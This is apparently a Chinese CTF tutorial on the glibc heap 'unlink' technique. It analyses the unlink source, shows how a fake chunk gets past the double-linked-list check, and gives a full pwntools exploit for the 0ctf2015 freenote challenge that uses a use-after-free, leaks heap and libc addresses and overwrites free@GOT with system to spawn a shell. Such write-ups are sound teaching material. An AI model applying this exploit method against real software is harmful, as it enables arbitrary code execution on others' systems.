堆利用之unlink

unlink 是一个宏操作,用于将某一个空闲 chunk 从其所处的双向链表中脱链。

glibc:2.27

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//2.27 malloc.c line 1403
#define unlink(AV, P, BK, FD) { // P:待脱链的空闲chunk的指针;BK:后一个chunk的指针;FD:前一个chunk的指针
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))//检查物理相邻的下一位chunk的prev_size是否为等于待脱链的空闲chunk的size
malloc_printerr ("corrupted size vs. prev_size");
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");
else {
FD->bk = BK;
BK->fd = FD;
//以下为 largebin 操作
if (!in_smallbin_range (chunksize_nomask (P))
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr ("corrupted double-linked list (not small)");
if (FD->fd_nextsize == NULL) {
/*如果 FD->fd_nextsize != NULL ,说明 FD 是下一组尺寸相同的 chunks 的第一个 chunk。
如果 FD->fd_nextsize == NULL ,那么 P 脱链后 FD 即成为当前尺寸相同的 chunks 的第一个 chunk。*/
if (P->fd_nextsize == P)// 如果 P 为仅有的唯一一组尺寸相同的 chunks 的第一个 chunk
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}

绕过检查

大小检查过后会将 P 链入

1
2
FD = P->fd;    
BK = P->bk;

效果如图

image-20211208131831689

之后会有一个关键检查

1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))            
malloc_printerr ("corrupted double-linked list");

绕过这个检查,构造 fake chunk

1
2
P->fd->bk == P <=> *(P->fd + 0x18) == P 
p->bk->fd == P <=> *(P->bk + 0x10) == P

可以推出,如果要让P->fd + 0x18P->bk + 0x10都指向p,只需要修改p的 fd 和 bk 为

1
2
P->fd = &P - 0x18 
P->bk = &P - 0x10

这样就能绕过检查。

用图表示即为

Untitled (Draft)-1

脱链

1
2
FD->bk = BK;
BK->fd = FD;

脱链只能在 smallbin / largebin / unsortedbin 中脱,它们都是双向链表,因此脱链操作必须同时修改前后 chunk 的 fd 或者 bk 指针,操作如下

1
2
FD->bk = BK <=> P->fd->bk = p->bk <=> *(P->fd + 0x18) = P->bk //Ⅰ
BK->fd = FD <=> P->bk->fd = p->fd <=> *(P->bk + 0x10) = P->fd //Ⅱ

结合绕过检查,可以得出如下结果

对 Ⅰ式做换算,得到 P = &P - 0x10

1
2
3
4
∵ P->fd = &P - 0x18 
∴ *(&P - 0x18 + 0x18) = P->bk => P = P->bk
∵ P->bk = &P - 0x10
∴ P = &P - 0x10

对 Ⅱ 式做换算,得到 P = &P - 0x18

1
2
3
4
∵ P->bk = &P - 0x10 
∴ *(P->bk + 0x10) = P->fd => P = P->fd
∵ P->fd = &P - 0x18
∴ P = &P - 0x18

又因为程序运行时从上到下的,所以最终 P = &P - 0x18

即断链之后 P 指针将指向 (&p-0x18) 的内存

(假设我们设置 P = free_got, *(&P-0x18) = system,那么当下一次 free 一个堆块的时候,就会调用 system。)

用图表示即为

B3DEC786D2B39741828C006A9D697DD1

largebin 脱链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if (!in_smallbin_range (chunksize_nomask (P))			      
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr ("corrupted double-linked list (not small)");
if (FD->fd_nextsize == NULL) {
/*如果 FD->fd_nextsize != NULL ,说明 FD 是下一组尺寸相同的 chunks 的第一个 chunk。
如果 FD->fd_nextsize == NULL ,那么 P 脱链后 FD 即成为当前尺寸相同的 chunks 的第一个 chunk。*/
if (P->fd_nextsize == P) // 如果 P 为仅有的唯一一组尺寸相同的 chunks 的第一个 chunk
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}

largebin 脱链相对来说会更复杂
先看看 largebin 的结构

1345812086_6124

image-20211208144334575

首先也有一个检查

1
2
3
4
if (!in_smallbin_range (P->size)                
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
...
}

可见只有当 P->fd_nextsize != null 时才需要修改,因为如果 P->fd_nextsize == null ,说明 P 是尺寸相同的一组 chunks

的非第一个 chunk,此时 P 的 fd_nextsize 和 bk_nextsize 是没有意义的,自然没有修改的必要。

检查通过后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (FD->fd_nextsize == NULL) {
/*如果 FD->fd_nextsize != NULL ,说明 FD 是下一组尺寸相同的 chunks 的第一个 chunk。
如果 FD->fd_nextsize == NULL ,那么 P 脱链后 FD 即成为当前尺寸相同的 chunks 的第一个 chunk。*/
if (P->fd_nextsize == P) // 如果 P 为仅有的唯一一组尺寸相同的 chunks 的第一个 chunk
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}

利用思路

对可利用指向 chunk 的 ptr 指针进行操作

  1. 修改 fd 为 ptr - 0x18
  2. 修改 bk 为 ptr - 0x10
  3. 触发 unlink

ptr 处的指针会变为 ptr - 0x18。


例题

buuctf 0ctf2015_freenote

保护

image-20211209160733957

主要函数

定义结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
_QWORD *sub_400A49()
{
_QWORD *result; // rax
int i; // [rsp+Ch] [rbp-4h]

chunk = malloc(0x1810uLL);
*chunk = 256LL;
result = chunk;
*(chunk + 8) = 0LL;
for ( i = 0; i <= 255; ++i )
{
*(chunk + 24LL * i + 16) = 0LL;
*(chunk + 24LL * i + 24) = 0LL;
result = (chunk + 24LL * i + 32);
*result = 0LL;
}
return result;
}

show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int show()
{
__int64 v0; // rax
unsigned int i; // [rsp+Ch] [rbp-4h]

if ( *(chunk + 8) <= 0 )
{
LODWORD(v0) = puts("You need to create some new notes first.");
}
else
{
for ( i = 0; ; ++i )
{
v0 = *chunk;
if ( i >= *chunk )
break;
if ( *(chunk + 24LL * i + 16) == 1LL )
printf("%d. %s\n", i, *(chunk + 24LL * i + 32));
}
}
return v0;
}

add

只能申请 0x80 和 0x180 大小的 chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int add()
{
__int64 v0; // rax
int i; // [rsp+Ch] [rbp-14h]
int size; // [rsp+10h] [rbp-10h]
void *v4; // [rsp+18h] [rbp-8h]

if ( *(chunk + 8) < *chunk )
{
for ( i = 0; ; ++i )
{
v0 = *chunk;
if ( i >= *chunk )
break;
if ( !*(chunk + 24LL * i + 16) )
{
printf("Length of new note: ");
size = my_read();
if ( size > 0 )
{
if ( size > 0x1000 )
size = 0x1000;
v4 = malloc((0x80 - size % 0x80) % 0x80 + size);// 0x80/0x180
printf("Enter your note: ");
sub_40085D(v4, size);
*(chunk + 0x18LL * i + 0x10) = 1LL;
*(chunk + 0x18LL * i + 0x18) = size;
*(chunk + 0x18LL * i + 0x20) = v4;
++*(chunk + 8);
LODWORD(v0) = puts("Done.");
}
else
{
LODWORD(v0) = puts("Invalid length!");
}
return v0;
}
}
}
else
{
LODWORD(v0) = puts("Unable to create new note.");
}
return v0;
}

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int edit()
{
__int64 v1; // rbx
int v2; // [rsp+4h] [rbp-1Ch]
int v3; // [rsp+8h] [rbp-18h]

printf("Note number: ");
v3 = my_read();
if ( v3 < 0 || v3 >= *chunk || *(chunk + 24LL * v3 + 16) != 1LL )
return puts("Invalid number!");
printf("Length of note: ");
v2 = my_read();
if ( v2 <= 0 )
return puts("Invalid length!");
if ( v2 > 4096 )
v2 = 4096;
if ( v2 != *(chunk + 24LL * v3 + 24) )
{
v1 = chunk;
*(v1 + 24LL * v3 + 32) = realloc(*(chunk + 24LL * v3 + 32), (128 - v2 % 128) % 128 + v2);
*(chunk + 24LL * v3 + 24) = v2;
}
printf("Enter your note: ");
sub_40085D(*(chunk + 24LL * v3 + 32), v2);
return puts("Done.");
}

delete

存在 uaf 漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int delete()
{
int v1; // [rsp+Ch] [rbp-4h]

if ( *(chunk + 8) <= 0 )
return puts("No notes yet.");
printf("Note number: ");
v1 = my_read();
if ( v1 < 0 || v1 >= *chunk )
return puts("Invalid number!");
--*(chunk + 8);
*(chunk + 24LL * v1 + 16) = 0LL;
*(chunk + 24LL * v1 + 24) = 0LL;
free(*(chunk + 24LL * v1 + 32)); //uaf
return puts("Done.");
}

利用

存在 uaf 漏洞

程序一开始会定义一个结构体,结构体中会存放 chunk 的数量,chunk 自身的大小、使用情况、指针

1
2
3
4
add(0x8,'a'*0x8)#0
add(0x8,'b'*0x8)#1
add(0x8,'c'*0x8)#2
add(0x8,'d'*0x8)#3

image-20211209163613580

我们可以利用 unlink,将堆指针指向该结构体,就可以实现任意地址写了

综上利用方法就是 unlink + double free

泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
add(0x8,'a'*0x8)#0
add(0x8,'b'*0x8)#1
add(0x8,'c'*0x8)#2
add(0x8,'d'*0x8)#3

dele(0)
dele(2)
add(0x8,'a'*0x8)#0
add(0x8,'b'*0x8)#2
show()
p.recvuntil('a'*0x8)
heap = u64(p.recvuntil('\n').strip().ljust(8,'\x00')) - (0x1150940-0x114f000)
print("heap:"+hex(heap))
p.recvuntil('b'*0x8)
libcbase = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - (0x7f0dd52dab78-0x7f0dd4f17000)
print("libcbase:"+hex(libcbase))

虽然程序默认会将 size 扩大为 0x80,但是并不会影响泄露

当我们 dele 掉 chunk 0 和 chunk 2,两个 chunk 都会被链入 unsortedbin

image-20211209164321749

image-20211209164648591

再次申请回来,并且大小限定为 0x8,就能够泄露出 heap 和 libc

image-20211209165445801

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ptr = heap + 0x30
pay = p64(0) + p64(0x51)
pay +=p64(ptr-0x18) + p64(ptr-0x10)#0x10
pay += "A"*0x30#0x20
pay +=p64(0x50) + p64(0x20)#0x10
add(len(pay),pay)

pay = 'A'*0x80
pay +=p64(0x110) + p64(0x90)
pay +='A'*0x80
pay +=p64(0) + p64(0x71)
pay +='A'*0x60
add(len(pay),pay)
dele(2)

因为程序有 uaf 漏洞,之前 free 掉的指针还是可以用的,修改内容做到和之前的 chunk 一一对应

后:

image-20211209170648832

前:

image-20211209170747276

dele(2) 触发 unlink

image-20211209171041288

改地址

1
2
3
4
5
6
7
8
9
10
11
free_got = elf.got['free']
system = libcbase + libc.sym['system']
pay = p64(6)
pay +=p64(0x1) + p64(0x8)
pay +=p64(free_got)
pay += "a"*0x40
edit(0,len(pay),pay)
edit(0,0x8,p64(system))

add(0x8,'/bin/sh\x00')#4
dele(4)

触发后指向 chunk 0 的指针会指向 ptr-0x18

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import*
#context.log_level = 'debug'
p = process('./main')
elf = ELF('./main')
libc = ELF('2.23/libc.so.6')

def add(size,con):
p.sendlineafter(':','2')
p.sendlineafter(':',str(size))
p.sendafter(':',con)

def edit(idx,size,con):
p.sendlineafter(':','3')
p.sendlineafter(':',str(idx))
p.sendlineafter(':',str(size))
p.sendafter(':',con)

def show():
p.sendlineafter(':','1')

def dele(idx):
p.sendlineafter(':','4')
p.sendlineafter(':',str(idx))

add(0x8,'a'*0x8)#0
add(0x8,'b'*0x8)#1
add(0x8,'c'*0x8)#2
add(0x8,'d'*0x8)#3

dele(0)
dele(2)

add(0x8,'a'*0x8)#0
add(0x8,'b'*0x8)#2
show()
p.recvuntil('a'*0x8)
heap = u64(p.recvuntil('\n').strip().ljust(8,'\x00')) - (0x1150940-0x114f000)
print("heap:"+hex(heap))
p.recvuntil('b'*0x8)
libcbase = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - (0x7f0dd52dab78-0x7f0dd4f17000)
print("libcbase:"+hex(libcbase))

dele(0)
dele(1)
dele(2)
dele(3)

ptr = heap + 0x30
pay = p64(0) + p64(0x51)
pay +=p64(ptr-0x18) + p64(ptr-0x10)#0x10
pay += "A"*0x30#0x20
pay +=p64(0x50) + p64(0x20)#0x10
add(len(pay),pay)

pay = 'A'*0x80
pay +=p64(0x110) + p64(0x90)
pay +='A'*0x80
pay +=p64(0) + p64(0x71)
pay +='A'*0x60
add(len(pay),pay)

dele(2)
gdb.attach(p)
free_got = elf.got['free']
system = libcbase + libc.sym['system']
pay = p64(6)
pay +=p64(0x1) + p64(0x8)
pay +=p64(free_got)
pay += "a"*0x40
edit(0,len(pay),pay)
edit(0,0x8,p64(system))

add(0x8,'/bin/sh\x00')#4
dele(4)

'''
chunk 0x0000000006020A8
'''
p.interactive()

参考博客

https://cloud.tencent.com/developer/article/1557872